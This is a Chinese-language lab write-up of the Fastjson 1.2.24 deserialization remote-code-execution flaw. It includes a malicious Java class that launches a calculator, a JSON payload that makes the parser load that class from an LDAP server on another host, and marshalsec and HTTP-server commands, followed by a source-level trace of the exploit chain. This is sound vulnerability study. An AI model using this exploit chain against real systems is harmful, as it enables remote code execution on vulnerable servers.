Fastjson1.2.24反序列化漏洞
Fastjson1.2.24反序列化漏洞
0x00 前言
Fastjson 是⼀个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符
串转换为 Java 对象。
Fastjson 可以操作任何 Java 对象,即使是⼀些预先存在的没有源码的对象。
Fastjson 源码地址:https://github.com/alibaba/fastjson
Fastjson 中文 Wiki:https://github.com/alibaba/fastjson/wiki/Quick-Start-CN
0x01 环境
jdk: jdk-8u102-windows-x64
注:java版本一定要对应,不能过高。
1、导入fastjson
下载fastjson 1.2.24
https://repo1.maven.org/maven2/com/alibaba/fastjson/
然后在IDEA中导入外部库即可。
文件-> 项目结构
模块 -> 依赖 -> 点击 +
选择 JAR或目录
最后应用。
2、建立一个恶意类:
Calc.java
import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Calc implements ObjectFactory {
{
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
public Calc() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
return null;
}
}
然后使用 javac Calc.java生成Calc.class
javac Calc.java
3、测试漏洞的demo
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class vultest {
public static void main(String[] args) {
payload();
}
public static String payload(){
String payload="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.116.133:1009/Calc\", \"autoCommit\":true}" ;
System.out.println(JSON.toJSONString(payload));
JSONObject.parseObject(payload);
// JSON.parse(payload);
return payload;
}
}
4、开启一个http服务
这里我是用python开启http服务,在我们生成恶意类的位置开启服务
python -m http.server 8081
5、开启远程ldap
这里使用的是marshalsec-0.0.3-SNAPSHOT-all.jar
链接:https://pan.baidu.com/s/1f7ROXon9E7eq5PI_-YYeJQ
提取码:ueie
命令如下:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.116.1:8081/#Calc 1009
6、运行
0x03 分析
首先我们从parseObject开始进行分析。
进入之后就会来到这里:
C:\Users\tree.m2\repository\com\alibaba\fastjson\1.2.24\fastjson-1.2.24.jar!\com\alibaba\fastjson\JSON.class
进入parse方法:
然后进入DefaultJSONParser方法:主要是用来判断是以是什么方式开始,默认是以’{‘开始,并且设置token为12
执行完DefaultJSONParser之后,进入parser.parse()
这里根据token为12,然后case跳转至:
进入parseObject方法
这里会通过默认的”{“来获取到第一个参数也就是@type
到这里的时候就回去判断key是不是@type,如果是@type就回去进行检测并且去反序列化类
C:\Users\tree.m2\repository\com\alibaba\fastjson\1.2.24\fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.class
然后就会到TypeUtils.loadClass
加载类:com.sun.rowset.JdbcRowSetImpl
最后到getDeserializer
然后到deserializer.deserialze反序列化
接着进入之后,主要反序列化的位置在
fastjson\1.2.24\fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\deserializer\JavaBeanDeserializer.class
跟进parseField:
然后这里非常重要的就是有一个smartMatch,这个smartMatch会进行一个通用匹配,可以匹配_开始以及-开始的变量:这个对另外一个调用链有用。
接着会去调用setValue,从而触发set方法
然后是设置autoCommit
为true:
在com/alibaba/fastjson/parser/deserializer/FieldDeserializer#setValue
通过反射调用了com.sun.rowset.JdbcRowSetImpl.setAutoCommit(boolean)
方法,并传入参数true
。
然后跟进这个setAutoCommit
方法:
D:\soft_ware\java\jdk\jre\lib\rt.jar!\jdk\net\ExtendedSocketOptions.class
可以看到这个类是jdk自带的。
这里从业务逻辑上看应该是设置SQL执行的自动提交?但是需要先拿到一个连接(connection),若没有连接,则需要先建立一个连接,即:
this.conn = this.connect();
继续跟进:D:\soft_ware\java\jdk\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl#connect
看这个条件判断:
else if (this.getDataSourceName() != null)
因为我们之前已经通过setDataSourceName
设置了dataSourceName的值,所以这里可以进入这个条件分支:
this.getDataSourceName() 是获得ldap的地址
lookup
关键都在这个lookup里面了。
然后就是对这个url:
ldap://192.168.116.133:1009/Calc
这里和 JNDI注入基础.md 接下来的步骤差不多了
一步一步的lookup了。接下来说一下lookup的细节,
比如
D:\soft_ware\java\jdk\jre\lib\rt.jar!\com\sun\jndi\url\ldap\ldapURLContext#lookup
里要判断这个url里有没有?
,即是否有查询的部分:
这里提供的url是没有查询部分的,所以继续调用其父类的lookup:
跟进D:\soft_ware\java\jdk\jre\lib\rt.jar!\com\sun\jndi\toolkit\url\GenericURLContext#lookup
这里通过var2.getRemainingName()
得到/
后面的部分,即向控制的服务器上获取Calc.class
文件。
最终一路lookup,到了这里:NamingManager#getObjectFactoryFromReference
146行先尝试从本地CLASSPATH加载该class.
本地没有这个类,报错。
再到158行根据factoryName和codebase加载远程的class,跟进看下158行loadClass方法的实现
VersionHelper12#loadClass
这里用了URLClassLoader去加载远程类
跟进loadClass
跟进Class.forName(className, true, cl)
执行完Class.forName就会加载这个类,从而执行到static方法
由于类的加载执行了static方法,服务器日志出现了一条调用记录
回到NamingManager#getObjectFactoryFromReference中,继续执行了 clas.newInstance
这里执行完就会调用代码块和无参构造方法,弹出两个计算器
再往下会执行到321行,调用getObjectInstance
方法
此时会执行恶意类Calc中的getObjectInstance方法,弹出最后一个计算器。